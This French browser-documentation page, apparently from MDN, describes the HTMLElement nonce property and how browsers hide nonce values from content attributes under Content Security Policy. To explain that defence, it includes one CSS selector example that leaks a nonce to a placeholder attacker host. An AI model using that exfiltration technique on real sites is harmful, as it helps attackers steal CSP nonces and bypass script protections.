HTMLElement : propriété nonce
Baseline
Widely available
Cette fonctionnalité est bien établie et fonctionne sur de nombreux appareils et versions de navigateurs. Elle est disponible sur tous les navigateurs depuis mars 2022.
La propriété nonce de l'interface HTMLElement retourne le nombre cryptographique à usage unique utilisé par la politique de sécurité du contenu pour déterminer si une requête donnée sera autorisée à s'exécuter.
Dans les implémentations récentes, les éléments n'exposent leur attribut nonce qu'aux scripts (et non à des canaux secondaires comme les sélecteurs d'attributs CSS).
Exemples
>Récupérer une valeur de nonce
Dans le passé, tous les navigateurs ne prenaient pas en charge l'attribut IDL nonce, donc une solution de contournement consistait à utiliser getAttribute comme solution de repli :
let nonce = script["nonce"] || script.getAttribute("nonce");
Cependant, les versions récentes des navigateurs masquent les valeurs de nonce accédées de cette façon (une chaîne vide sera retournée). La propriété IDL (script['nonce']) sera le seul moyen d'accéder aux nonces.
Le masquage du nonce aide à empêcher les attaquant·e·s d'exfiltrer la donnée via des mécanismes capables de récupérer des données à partir d'attributs de contenu, comme ce sélecteur CSS :
script[nonce~="nimportequoi"] {
background: url("https://vilain.com/nonce?nimportequoi");
}
Spécifications
| Specification |
|---|
| HTML> # dom-noncedelement-nonce> |
Compatibilité des navigateurs
Voir aussi
- L'attribut HTML universel
nonce - Politique de sécurité du contenu
- La politique de sécurité des contenus
script-src